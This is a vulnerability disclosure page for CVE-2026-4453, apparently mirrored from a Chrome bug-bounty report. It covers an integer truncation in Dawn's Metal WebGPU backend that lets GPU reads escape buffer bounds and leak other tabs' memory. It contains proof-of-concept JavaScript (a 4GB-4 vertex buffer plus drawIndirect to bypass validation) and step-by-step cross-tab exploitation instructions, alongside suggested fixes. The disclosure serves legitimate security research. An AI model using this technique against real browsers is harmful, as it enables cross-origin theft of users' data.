Integer overflow in Dawn (CVE-2026-4453)
A uint64 to uint32 truncation in Dawn's Metal backend causes vertex buffer sizes of 4GB or more to be recorded as zero, disabling the Tint robustness clamp. Combined with drawIndirect to bypass CPU validation, this allows GPU out-of-bounds reads that can leak adjacent GPU memory, including data from other tabs.
- Fix shipped in 20 days
Report description
Security: Cross-tab GPU memory exfiltration via uint64 to uint32 truncation in Dawn's Metal vertex buffer length tracking
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
The problem
Please describe the technical details of the vulnerability
Summary
A uint64_t to uint32_t truncation in Dawn's Metal backend (CommandBufferMTL.mm:924) causes vertex buffer sizes ≥ 4GB to be recorded as 0. This effectively disables the Tint robustness clamp for vertex buffer accesses (arrayLength() = 0 → min(idx, 0 - 1) = no-op). Combined with drawIndirect() to bypass CPU-side firstVertex validation, this allows GPU out-of-bounds reads past the buffer boundary. Apple Silicon GPUs lack hardware buffer robustness, so OOB reads return actual adjacent GPU memory. Cross-tab data exfiltration confirmed on M4 Pro.
Affected Version
- Component: Dawn / WebGPU (Metal backend)
- Tested on: Chrome stable, macOS (Apple M4 Pro)
- Other affected: Chrome Canary, Chromium (any version with Metal WebGPU backend)
- Platform: macOS with Apple Silicon (M1/M2/M3/M4)
Root Cause
The truncation
In src/dawn/native/metal/CommandBufferMTL.mm, vertex buffer binding sizes are stored as uint32_t. When GetAllocatedSize() - offset ≥ 0x100000000, the static_cast<uint32_t>() silently truncates the value:
// Line 923: DEBUG-ONLY assert — checks the WRONG VALUE
DAWN_ASSERT(buffer->GetSize() < std::numeric_limits<uint32_t>::max());
// ^^^^^^^^^^^^^^^^ Checks GetSize() (user-requested), not GetAllocatedSize()!
// Line 924-925: Silent uint64→uint32 truncation
mVertexBufferBindingSizes[slot] =
static_cast<uint32_t>(buffer->GetAllocatedSize() - offset);
// ^^^^^^^^^^^^^^^^^^^^^^ GetAllocatedSize() = 0x100000000 → truncates to 0
Optimal trigger: size = 0xFFFFFFFC (4GB - 4)
The size 0xFFFFFFFC is optimal because it also bypasses the debug-only DAWN_ASSERT on line 923:
GetSize() = 0xFFFFFFFC— user-requested buffer sizeextraBytes = 4— Metal adds extra bytes for vertex buffers (BufferMTL.mm:96)currentSize = max(0xFFFFFFFC + 4, 4) = 0x100000000Align(0x100000000, 4) = 0x100000000(alignment=4 on macOS for fillBuffer)mAllocatedSize = 0x100000000(exactly 4GB)- Line 923:
DAWN_ASSERT(0xFFFFFFFC < 0xFFFFFFFF)→ TRUE — assert passes even in debug! - Line 924:
static_cast<uint32_t>(0x100000000 - 0) = 0— truncated to zero
Robustness bypass chain
The truncated value of 0 propagates through:
mVertexBufferBindingSizes[slot] = 0
→ StorageBufferLengthTracker::data[Vertex][metalIndex] = 0 (line 946-947)
→ MSL shader: tint_storage_buffer_sizes[N].x = 0
→ arrayLength() = 0
→ Robustness clamp: min(idx, arrayLength() - 1)
= min(idx, 0 - 1)
= min(idx, 0xFFFFFFFF) ← u32 underflow
= idx ← NO CLAMPING
The vertex pulling transform (vertex_pulling.cc:222) creates the buffer as var<storage, read>, and the robustness transform (robustness.cc:310-312) computes arrayLength() - 1 without guarding against zero.
Debug assert is doubly wrong
The DAWN_ASSERT on line 923 has two independent bugs:
- Checks the wrong value: It checks
GetSize()(user-requested), but the truncation is onGetAllocatedSize()(which includes alignment + extra bytes) - Uses wrong comparison:
GetSize() = 0xFFFFFFFC < UINT32_MAX = 0xFFFFFFFFis TRUE, so the assert passes even whenGetAllocatedSize() = 0x100000000overflows uint32
The bug is invisible in debug builds.
Proof of Concept
Attack overview
The exploit uses two HTML files:
victim.html— Opened in a separate tab, sprays GPU memory with 512MB of identifiable marker patterns (0xD1_XX_XX_XX)exploit_cross_tab_s4_imageSuccess.html— Creates a 4GB-4 vertex buffer (triggering the truncation), then usesdrawIndirect()to read GPU memory beyond the buffer boundary
bypass size validation using drawIndirect() instead of draw()
A direct draw(N, 1, OOB_FIRST_VERTEX, 0) call is rejected by Dawn's CPU-side validation (CommandBufferStateTracker.cpp:399-437), which checks (firstVertex + vertexCount - 1) * arrayStride + lastStride against the bound buffer size. However, drawIndirect() puts firstVertex in a GPU buffer — the CPU cannot inspect it:
// CPU validation CANNOT see firstVertex in an indirect buffer
const params = new Uint32Array([
256, // vertexCount
1, // instanceCount
OOB_FIRST_VERTEX, // firstVertex — CPU can't validate this!
0, // firstInstance
]);
device.queue.writeBuffer(indirectBuffer, 0, params);
pass.drawIndirect(indirectBuffer, 0);
The GPU's indirect draw validation shader does not check vertex buffer bounds — it only validates draw parameter consistency. The vertex pulling shader reads from the buffer using arrayLength=0 → no robustness clamping → OOB read.
Data exfiltration chain
GPU OOB read (vertex buffer[firstVertex + vid])
→ vertex shader: v.data = OOB u32 value
→ fragment shader: encode as RGBA color
→ color attachment texture
→ copyTextureToBuffer
→ mapAsync(MAP_READ)
→ CPU JavaScript receives leaked data
Each drawIndirect() call reads 256 u32 values from GPU memory past the buffer boundary. The attacker controls the offset via firstVertex.
Minimal reproduction
// 1. Create 4GB-4 vertex buffer (triggers truncation)
const victimBuffer = device.createBuffer({
size: 0xFFFFFFFC,
usage: GPUBufferUsage.VERTEX | GPUBufferUsage.COPY_DST,
});
// 2. Metal internally: allocatedSize = 0x100000000
// mVertexBufferBindingSizes[0] = (uint32_t)(0x100000000) = 0
// arrayLength() = 0 → robustness clamp = min(idx, 0xFFFFFFFF)
// 3. Vertex shader reads @location(0) data: u32 from vertex buffer
// Vertex pulling loads buffer[firstVertex + vid] with NO clamping
// 4. drawIndirect bypasses CPU vertex range validation
const indirectParams = new Uint32Array([
256, // vertexCount
1, // instanceCount
0x3FFFFFFF + 0x1000000, // firstVertex: 16MB past buffer end
0, // firstInstance
]);
device.queue.writeBuffer(indirectBuffer, 0, indirectParams);
pass.setVertexBuffer(0, victimBuffer);
pass.drawIndirect(indirectBuffer, 0);
Suggested Fix
Option 1: Widen the storage type (comprehensive fix)
Change StorageBufferLengthTracker::data and mVertexBufferBindingSizes from uint32_t to uint64_t. Update the Tint MSL writer to emit 64-bit buffer sizes. This prevents truncation for any buffer size.
Option 2: Clamp to UINT32_MAX (minimal fix)
// Replace line 924-925:
uint64_t size64 = buffer->GetAllocatedSize() - offset;
mVertexBufferBindingSizes[slot] = static_cast<uint32_t>(
std::min(size64, static_cast<uint64_t>(std::numeric_limits<uint32_t>::max())));
Option 3: Validation reject
Add explicit validation in setVertexBuffer to reject buffers where allocatedSize - offset > UINT32_MAX:
DAWN_INVALID_IF(buffer->GetAllocatedSize() - offset > std::numeric_limits<uint32_t>::max(),
"Vertex buffer allocated size minus offset exceeds uint32 maximum.");
Also fix the assert
Regardless of which fix is chosen, the DAWN_ASSERT on line 923 should be corrected:
// Fix: check GetAllocatedSize(), not GetSize()
DAWN_ASSERT(buffer->GetAllocatedSize() - offset <= std::numeric_limits<uint32_t>::max());
Reproduction Steps
- Environment: macOS with Apple Silicon (M1/M2/M3/M4), Chrome stable (no flags)
- Open
victim.htmlin one Chrome tab → click "Spray 512MB" → wait for completion - Open
exploit_cross_tab_s4_imageSuccess.htmlin another Chrome tab (same Chrome window = same GPU process) - Click "1. Self-Test" to verify the pipeline works (should show 256/256 matching in-bounds reads)
- Click "2. Cross-Tab Exploit" to scan 512MB past the 4GB buffer boundary
- Alternatively, click "5. Auto-Hunt" for automated retry with VA layout jittering
Expected outcome: The exploit detects victim buffer signatures (0xD1_XX_XX_XX) in the OOB scan. May require multiple attempts due to GPU VA layout variation.
Version Information
- Chrome: Stable channel (145.0.7632.117)
- OS: macOS, Apple M4 Pro
- Memory: 24GB unified (4GB GPU allocation succeeds)
Impact analysis
Cross-tab / cross-origin GPU memory disclosure
Chrome's GPU process is shared across all tabs. All WebGPU contexts on the same GPU device share the same GPU virtual address space. By reading past the 4GB buffer boundary, the attacker can access:
- Other tabs' WebGPU buffer contents
- Compositor framebuffer pixels
- GPU virtual address metadata
This is cross-origin information disclosure without any user interaction.
The cause
What version of Chrome have you found the security issue in?
145.0.7632.117 stable
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Information Leak
How would you like to be publicly acknowledged for your report?
sweetchip
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could read GPU memory beyond their buffer, potentially disclosing data from other tabs or the compositor, though the exploit may require multiple attempts due to GPU virtual address layout variation.
What the attacker needed
MacOS with Apple Silicon; Chrome with Metal WebGPU backend; Victim visits attacker's page; No user interaction beyond loading page
The fix
The report suggests widening the storage type to uint64, clamping to UINT32_MAX, or adding validation to reject oversized buffers, and also correcting the debug assertion.
How it was found
- Open victim.html in one Chrome tab and click 'Spray 512MB' to fill GPU memory with marker patterns.
- Open [redacted].html in another tab of the same Chrome window.
- Click '1. Self-Test' to verify the pipeline works.
- Click '2. Cross-Tab Exploit' to scan 512MB past the 4GB buffer boundary.
- Alternatively, click '5. Auto-Hunt' for automated retry with VA layout jittering.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a program stores a very large number in a smaller variable, the extra bits are lost, which is called truncation. Here, a buffer size of exactly 4GB became zero, so the safety check that should stop the graphics card from reading outside the buffer was turned off. An attacker could then read memory beyond their own buffer, potentially seeing data from other browser tabs.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.